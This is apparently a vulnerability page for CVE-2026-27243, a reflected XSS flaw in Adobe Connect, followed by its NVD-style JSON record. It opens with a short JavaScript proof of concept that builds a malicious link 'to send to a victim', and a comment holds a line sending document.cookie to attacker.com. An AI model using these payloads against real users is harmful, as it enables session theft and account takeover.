CVE-2026-27243

<!-- // Proof of Concept for CVE-2026-27243 // Description: Reflected XSS in Adobe Connect // Usage: Send the generated URL to a victim. --> <script> // Construct the malicious payload var payload = '<img src=x onerror=alert(1)>'; // Encode for URL transmission var encodedPayload = encodeURIComponent(payload); // Vulnerable endpoint example (replace with actual endpoint) var targetUrl = 'https://victim-adobe-connect.com/vulnerable_page?input=' + encodedPayload; console.log('Exploit Link: ' + targetUrl); // In a real attack, the payload might be: // <script>new Image().src="http://attacker.com/?c="+document.cookie;</script> </script>

{"cve": {"id": "CVE-2026-27243", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:16:55.730", "lastModified": "2026-04-28T15:39:57.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Connect versions 2025.3, 12.10 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:connect:*:*:*:*:*:-:*:*", "versionEndExcluding": "12.11", "matchCriteriaId": "4A1D88E9-612C-49B1-8521-F2258D4D74CA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:connect_desktop_application:*:*:*:*:*:macos:*:*", "versionEndIncluding": "2025.3", "matchCriteriaId": "185BF6E9-82FC-45E0-A64E-03FB923F34AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:connect_desktop_application:*:*:*:*:*:windows:*:*", "versionEndExcluding": "2025.9.15", "matchCriteriaId": "783AAAA9-E68B-43E3-86A3-5227E27392A5"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/connect/apsb26-37.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}